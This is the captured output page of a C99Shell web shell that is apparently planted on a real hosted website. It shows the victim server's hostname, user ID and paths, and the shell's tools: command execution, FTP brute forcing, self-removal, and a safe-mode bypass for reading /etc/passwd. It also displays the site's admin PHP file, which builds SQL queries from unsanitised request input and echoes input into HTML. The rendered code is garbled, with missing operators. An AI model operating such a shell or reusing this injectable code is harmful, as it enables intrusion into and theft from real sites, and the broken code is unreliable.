!C99Shell v. 1.0 pre-release build #16!

Software: Apache. PHP/5.4.45 

uname -a: Linux webm115.cluster007.gra.hosting.ovh.net 5.15.74-ovh-vps-grsec-zfs-classid #1 SMP Wed
Oct 26 09:50:47 UTC 2022 x86_64
 

uid=763961(ebenisteaz) gid=100(users) groups=100(users) 

Safe-mode: OFF (not secure)

/home/ebenisteaz/www/admin/   drwx---r-x
Free 0 B of 0 B (0%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     pages.php (19.4 KB)      -rw----r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php require_once("header.php");
$theTable=TABLE_PAGES;
 if(isset(
$_REQUEST['type'])  && !empty($_REQUEST['type']))$thisPageContent=$_REQUEST['type']; else $thisPageContent="";
if(isset(
$_REQUEST['typetarifs'])  && !empty($_REQUEST['typetarifs']))$typetarif=$_REQUEST['typetarifs']; else $typetarif="";
?>
        
</head>

<body>
        <div class="container-fluid">
        <div class="row-fluid">
<div id="content" class="span10">
  <div>
    <ul class="breadcrumb">
      <li>
        <a href="./index.php">Accueil</a> <span class="divider">/ <?php if(isset($thisPageContent) && $thisPageContent!="" ) {echo $thisPageContent; }?></span>
        </li>
      <div style="float:right"><a href="?logout">Déconnexion</a></div>
      </ul>
  </div>
  <?php if(isset($_REQUEST['action'])  && ($_REQUEST['action']=="liste") || !isset($_REQUEST['action']) && !isset($_GET['gets'])){?>
  <div class="row-fluid">        
    <div class="box span12">
      <div class="box-header well" data-original-title>
        <h2><i class="icon-th-list"></i> Liste <?php if(isset($thisPageContent) && $thisPageContent!="" ) {echo $thisPageContent; }?></h2>
        <div class="span1" style="float:right"><a href="<?php echo $_SERVER['PHP_SELF']."?action=ajouter&type=".$thisPageContent.""; if($thisPageContent=="Tarifs") echo "&typetarifs=first"?>" class="btn btn-success ajax-links" data-rel="tooltip" data-content="" title="Ajouter <?php echo $thisPageContent?>">Nouveau</a>        </div>
        </div>
      <div class="box-content">
        <table class="table table-striped table-bordered bootstrap-datatable datatable checkAll tMedia dTable ui-sortable" id="dynamic">
          <thead>
            <tr>
              <th><input type="checkbox" id="chkAll"></th>
              <?php if($thisPageContent!="News" && $thisPageContent!="Agenda" && $thisPageContent!="Tarifs" && $thisPageContent!="Promotions") { ?><th>Page</th><?php }?>
              <th>Titre</th>
              
              <th>Statut</th>
              <?php if($thisPageContent!="Pages") { ?><th>Ordre</th><?php }?> 
              <th>Actions</th>
              </tr>
            </thead> 
          <tfoot>
            <tr>
              <td colspan="10">
                <div class="itemActions">
                  <label>Action : 
                    <select name="actiontodo" id="actiontodo" rel="<?php echo $theTable?>">
                      <option value="">Séléctionner...</option>
                      <option value="activer">Activer</option>
                      <option value="désactiver">Désactiver</option>
                      <option value="supprimer">Supprimer</option>
                      </select></label>
                  </div>
                
                </td>
              </tr>
            </tfoot>  
          <tbody id="contentLeft">
            <?php
        
if(isset($thisPageContent)) $conditionType=" and type='".$thisPageContent."' ";
        
$sql "SELECT * FROM `".$theTable."` where 1=1 ".$conditionType." and idparent=0  ORDER BY orderid DESC "//group by idparent
        
$rows $db->query($sql);
          while (
$record $db->fetch($rows)) { 
      
?>
            <tr id="recordsArray_<?php echo $record['id']; ?>" class="<?php if($record['active']==0) echo "trdesactive"?>">
              <td><input type="checkbox"   name="checkbox[]" id="checkbox[]" class="checkbox chk" rel="checkbox" value="<?php echo $record['id']; ?>" /></td>
              <?php if($thisPageContent!="News" && $thisPageContent!="Agenda" && $thisPageContent!="Tarifs" && $thisPageContent!="Promotions") { ?><td><?php echo $record['nom_page']; ?></td><?php ?>
              <td class="center" <?php if($thisPageContent=='Tarifs') echo 'style="background:#aaa"'?>><?php echo $record['titre_fr']; ?></td>
              
              <td class="center" ><?php echo activeNo($record['active'],$record['id'], $theTable ); ?>
                <!--<span class="label label-success">Active</span>--></td>
              <?php if($thisPageContent!="Pages") { ?> <td class="center js-sortable-handle" ><span  class="icon32 icon-black icon-arrow-4diag"></span></td><?php ?>
              <td class="center">
                <!--<a class="btn btn-success" href="#">
                                        <i class="icon-zoom-in icon-white"></i>  
                                        Voir                                            
                                    </a>-->
                
                <a class="btn btn-info" href="<?php if($record['typetarifs']!=""$typetarifs="&typetarifs=".$record['typetarifs']; else $typetarifs=""; echo $_SERVER['PHP_SELF']."?action=edit&id=".$record['id']."&type=".$thisPageContent.$typetarifs.""?>">
                  <i class="icon-edit icon-white"></i>  
                  Modifier                                            
                  </a>
                <?php if($record['id']!=&& $record['id']!=2){ ?>    <a class="btn btn-danger deleteclient" href="javascript:void(0);"  id="<?php echo $record['id']; ?>" rel="<?php echo $theTable?>">
                  <i class="icon-trash icon-white"></i> Supprimer</a> <?php ?>
                
                <?php if($thisPageContent=="Tarifs" && $record['typetarifs']=="first") {?>                          
                <a class="btn btn-small btn-primary" href="<?php echo $_SERVER['PHP_SELF']."?action=ajouter&id=".$record['id']."&type=".$thisPageContent."&typetarifs=second"?>"  rel="<?php echo $theTable?>">  Ajouter groupe  </a> 
                
                <?php } if($thisPageContent=="Tarifs" && $record['typetarifs']=="second") {?>
                <a class="btn btn-small btn-success" href="<?php echo $_SERVER['PHP_SELF']."?action=ajouter&id=".$record['id']."&type=".$thisPageContent."&typetarifs=third"?>"   rel="<?php echo $theTable?>">  Ajouter Tarifs  </a>   <?php 
                
?>
                
                
                </td>
              </tr>
            <?php  $sqlSecond "SELECT * FROM `".$theTable."` where 1=1 ".$conditionType." and idparent='".$record['id']."'  ORDER BY orderid asc "//group by idparent
        
$rowsSecond $db->query($sqlSecond);
          while (
$recordSecond $db->fetch($rowsSecond)) { 
      
?>
            <tr id="recordsArray_<?php echo $recordSecond['id']; ?>" class="<?php if($recordSecond['active']==0) echo "trdesactive"?>">
              <td><input type="checkbox"   name="checkbox[]" id="checkbox[]" class="checkbox chk" rel="checkbox" value="<?php echo $recordSecond['id']; ?>" /></td>
              
              <td class="center" <?php if($thisPageContent=='Tarifs') echo 'style="background:#ccc; padding-left:10px"'?>> - <?php echo $recordSecond['titre_fr']; ?></td>
              
              <td class="center" ><?php echo activeNo($recordSecond['active'],$recordSecond['id'], $theTable ); ?>
                <!--<span class="label label-success">Active</span>--></td>
              <td class="center js-sortable-handle" ><span  class="icon32 icon-black icon-arrow-4diag"></span></td>
              <td class="center">
                <!--<a class="btn btn-success" href="#">
                                        <i class="icon-zoom-in icon-white"></i>  
                                        Voir                                            
                                    </a>-->
                
                <a class="btn btn-info" href="<?php if($recordSecond['typetarifs']!=""$typetarifs="&typetarifs=".$recordSecond['typetarifs']; else $typetarifs=""; echo $_SERVER['PHP_SELF']."?action=edit&id=".$recordSecond['id']."&type=".$thisPageContent.$typetarifs.""?>">
                  <i class="icon-edit icon-white"></i>  
                  Modifier                                            
                  </a>
                <a class="btn btn-danger deleteclient" href="javascript:void(0);"  id="<?php echo $record['id']; ?>" rel="<?php echo $theTable?>">
                  <i class="icon-trash icon-white"></i> Supprimer</a> 
                
                
                
                <?php  if($thisPageContent=="Tarifs" && $recordSecond['typetarifs']=="second") {?>
                <a class="btn btn-small btn-success" href="<?php echo $_SERVER['PHP_SELF']."?action=ajouter&id=".$recordSecond['id']."&type=".$thisPageContent."&typetarifs=third"?>"   rel="<?php echo $theTable?>">  Ajouter Tarifs  </a>   <?php 
                
?>
                
                
                </td>
              </tr>
            
            <?php  $sqlthird "SELECT * FROM `".$theTable."` where 1=1 ".$conditionType." and idparent='".$recordSecond['id']."'  ORDER BY orderid asc "//group by idparent
        
$rowsthird $db->query($sqlthird);
          while (
$recordthird $db->fetch($rowsthird)) { 
      
?>
            <tr id="recordsArray_<?php echo $recordthird['id']; ?>" class="<?php if($recordthird['active']==0) echo "trdesactive"?>">
              <td><input type="checkbox"   name="checkbox[]" id="checkbox[]" class="checkbox chk" rel="checkbox" value="<?php echo $recordthird['id']; ?>" /></td>
              
              <td class="center"<?php if($thisPageContent=='Tarifs') echo 'style="background:#eee; padding-left:30px"'?>>-- <?php echo $recordthird['titre_fr']; ?></td>
              
              <td class="center" ><?php echo activeNo($recordthird['active'],$recordthird['id'], $theTable ); ?>
                <!--<span class="label label-success">Active</span>--></td>
              <td class="center js-sortable-handle" ><span  class="icon32 icon-black icon-arrow-4diag"></span></td>
              <td class="center">
                <!--<a class="btn btn-success" href="#">
                                        <i class="icon-zoom-in icon-white"></i>  
                                        Voir                                            
                                    </a>-->
                
                <a class="btn btn-info" href="<?php if($recordthird['typetarifs']!=""$typetarifs="&typetarifs=".$recordthird['typetarifs']; else $typetarifs=""; echo $_SERVER['PHP_SELF']."?action=edit&id=".$recordthird['id']."&type=".$thisPageContent.$typetarifs.""?>">
                  <i class="icon-edit icon-white"></i>  
                  Modifier                                            
                  </a>
                <a class="btn btn-danger deleteclient" href="javascript:void(0);"  id="<?php echo $recordthird['id']; ?>" rel="<?php echo $theTable?>">
                  <i class="icon-trash icon-white"></i> Supprimer</a> 
                
                
                
                <?php  if($thisPageContent=="Tarifs" && $recordthird['typetarifs']=="second") {?>
                <a class="btn btn-small btn-success" href="<?php echo $_SERVER['PHP_SELF']."?action=ajouter&id=".$recordthird['id']."&type=".$thisPageContent."&typetarifs=third"?>"   rel="<?php echo $theTable?>">  Ajouter Tarifs  </a>   <?php 
                
?>
                
                
                </td>
              </tr>
            <?php }}} ?>
            </tbody>
          </table>            
        </div>
      </div>
  </div>
  
  <?php 
            
            if(isset(
$_REQUEST['action']) && ($_REQUEST['action']=="ajouter" || $_REQUEST['action']=="edit") ){ 
            
?> 
  <?php echo updateListedValue("#typetarifs""typetarifs"$theTable);
                      echo 
updateListedValue("#idparent""idparent"$theTable);
                      echo 
updateListedValue("#idSparent""idparent"$theTable);
             
?>
  <div class="row-fluid sortable">
    <div class="box span12">
      <div class="box-header well" data-original-title>
        <h2><i class="icon-edit"></i>
        <?php if(isset($_REQUEST['action']) && ($_REQUEST['action']=="ajouter")) echo "Ajouter"; else if(isset($_REQUEST['action']) && ($_REQUEST['action']=="edit") ) echo "Modifier"?> <?php if(isset($thisPageContent) && $thisPageContent!="" ) { echo $thisPageContent.""; }?></h2>
        <div class="span2" style="float:right"><a href="<?php echo $_SERVER['PHP_SELF']."?action=ajouter&type=".$thisPageContent.""; if($thisPageContent=="Tarifs") echo "&typetarifs=first"?>" class="btn btn-success ajax-links" data-rel="tooltip" data-content="" title="Ajouter <?php echo $thisPageContent?>">Nouveau</a> <a href="<?php echo $_SERVER['PHP_SELF']."?action=liste&type=".$thisPageContent.""?>" class="btn btn-info ajax-links" data-rel="tooltip" data-content="" title="Liste <?php echo $thisPageContent?>">Retour</a>        </div>
        </div>
      </div>
    <div class="box-content">
      
      <div class="progress progress-striped progress-success active" style="display:none">
        <div class="bar" style="width: 0%;"></div>
        <div id="statustxt">0%</div ></div>
<form class="form-horizontal main" id="usualValidate" action="includes/actionsdb.php<?php //echo $_SERVER['PHP_SELF']."?action=liste"; ?>"  method="post" enctype="multipart/form-data">
  <fieldset>
          <?php  echo idRecord("id"$theTable); ?>
          
          <input type="hidden" name="page" value="page" />
          <input type="hidden" name="typePage" value="<?php echo $thisPageContent?>" />
          <input type="hidden" name="parentTarifs" value="<?php echo $typetarif?>" />
          
          <input type="hidden" id="todo" name="todo" value="<?php if (isset($_REQUEST['action']) && ($_REQUEST['action']=="ajouter") ) echo "add"; else echo "edit"?>" />
          <input type="hidden" name="thetable" value="<?php echo $theTable?>" />
          <?php if($thisPageContent=="Tarifs") { ?> 
          <input type="hidden" name="typetarifs" value="<?php echo $typetarif?>">
          <?php ?>
          
          <?php if($thisPageContent=="Pages") {?><div class="control-group">
            <label class="control-label" for="focusedInput">Nom de la page</label>
            <div class="controls">
              <input class="input-medium focused " id="nomPage" name="nomPage"  type="text" placeholder="Nom de <?php echo $thisPageContent?><?php echo updateSimpleValue("nom_page"$theTable); ?>>
              </div>
            
            </div>
          <?php }?>
          
          <?php if($thisPageContent=="News" || ($thisPageContent=="Agenda")) { ?>
          
          <?php ?>
          <?php  echo funcMultilangueChamp(0"Titre""titre_"$thisPageContent$theTable$langs"input-xlarge""required"); ?> 
          
          <?php if($typetarif=="third"){ ?>   
          
          <div class="control-group">
            <label class="control-label" for="selectError">Tarifs categorie</label>
            <div class="controls">
              <select id="idparent" data-rel="chosen" name="idparent">
                <option value="" ></option> 
                <?php
     $sqlType 
"SELECT * FROM `".$theTable."` where typetarifs='second' and active=1  ORDER BY orderid asc ";
      
$rowsType $db->query($sqlType);
      while (
$recordType $db->fetch($rowsType)) { 
      echo
'<option value="'.$recordType ['id'].'">'.$recordType['titre_fr'].'</option> ';
      }
?>
                </select>
              </div>
            </div>
          <div class="control-group">
            <label class="control-label" for="focusedInput">Prix public</label>
            <div class="controls">
              <input class="input-medium focused " id="prixpublic" name="prixpublic"  type="text" placeholder="Prix public" <?php echo updateSimpleValue("prixpublic"$theTable); ?>>
              </div>
            
            </div>
          <div class="control-group">
            <label class="control-label" for="focusedInput">Prix Résedent</label>
            <div class="controls">
              <input class="input-medium focused " id="prixresedent" name="prixresedent"  type="text" placeholder="Prix Résident" <?php echo updateSimpleValue("prixresedent"$theTable); ?>>
              </div>
            
            </div>
          <div class="control-group">
            <label class="control-label" for="focusedInput">Prix Pax</label>
            <div class="controls">
              <input class="input-medium focused " id="prixpax" name="prixpax"  type="text" placeholder="Prix Pax" <?php echo updateSimpleValue("prixpax"$theTable); ?>>
              </div>
            
            </div>            
          <?php ?>
          
          <?php  ?>
          <?php if($typetarif=="second"){ ?> 
          
          <div class="control-group">
            <label class="control-label" for="selectError">Tarifs categorie</label>
            <div class="controls">
              <select id="idSparent" data-rel="chosen" name="idparent">
                <option value="" ></option> 
                <?php
     $sqlType 
"SELECT * FROM `".$theTable."` where typetarifs='first' and active=1 ORDER BY orderid asc ";
      
$rowsType $db->query($sqlType);
      while (
$recordType $db->fetch($rowsType)) { 
      echo
'<option value="'.$recordType ['id'].'">'.$recordType['titre_fr'].'</option> ';
      }
?>
                </select>
              </div>
            </div>
          <?php  echo funcMultilangueChamp(1"Conditions""conditions_"$thisPageContent$theTable$langs"input-xxlarge"""); ?> <?php ?>
          <?php if($thisPageContent=="News") {
                echo 
funcMultilangueChamp(0"Date""datePost_"$thisPageContent$theTable$langs"input-xlarge""");
                echo 
funcMultilangueChamp(0"Lien""lieu_"$thisPageContent$theTable$langs"input-xlarge"""); }?>
          <?php if($thisPageContent=="Promotions") {?>                              
          <?php  echo funcMultilangueChamp(1"Lien réservation""linkbooking_"$thisPageContent$theTable$langs"input-xxlarge""url"); }?>
          <?php if($thisPageContent!="Tarifs") { echo funcMultilangueAria(0"Texte""text_"$thisPageContent$theTable$langs"""cleditor"12);} ?>                
          <div class="control-group">
            <label class="control-label">Active</label>
            <div class="controls">
              <label class="checkbox inline">
                <input type="checkbox" id="inlineCheckbox1" <?php echo updateChekedValue("active"$theTable) ; ?> name="active"> 
                </label>
              
              </div>
            </div>
            
            <div class="control-group">
            <label class="control-label">Page d'accueil</label>
            <div class="controls">
              <label class="checkbox inline">
                <input type="checkbox" id="inlineCheckbox1" <?php echo updateChekedValue("etat"$theTable) ; ?> name="etat"> 
                </label>
              
              </div>
            </div>
          
          <?php if($thisPageContent!="Pages" && $thisPageContent!="Tarifs" && empty($typetarif)) {?> <div class="control-group">
            <label class="control-label" for="textarea2">Photo</label>
            <div class="fileupload fileupload-new controls" data-provides="fileupload">
              
              <span class="btn btn-file"><span class="fileupload-new">Photo</span><span class="fileupload-exists">Changer</span> <input type="file" class="fileInput <?php if (isset($_REQUEST['action']) && ($_REQUEST['action']=="ajouter") ) echo "required"?>" id="fileInput" name="photo" /></span>
              <a href="#" class="btn fileupload-exists" data-dismiss="fileupload">Supprimer</a>
              <br><div class="fileupload-new thumbnail" style="width: 100px; height: 65px;"><?php echo updateSimplephoto("photo"$theTable"../images/pages"10065?></div>
              <div class="fileupload-preview fileupload-exists thumbnail" style="width: 50px; height: 50px;"></div>
  </div>
            </div><?php ?>
          
          
          <div class="form-actions">
            <button type="submit" class="btn btn-primary validForm"  name="valider">Valider</button>
            <button type="reset" class="btn">Annuler</button>
            </div>
          </fieldset>
      </form>   
      
      </div>
    </div>
</div>
            <?php ?>
            </div></div>
<hr>

          <?php require_once("footer.php"); ?>
        
    </div>
    <?php require_once("js.php"); ?>

</body>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | Generation time: 0.0412 ]--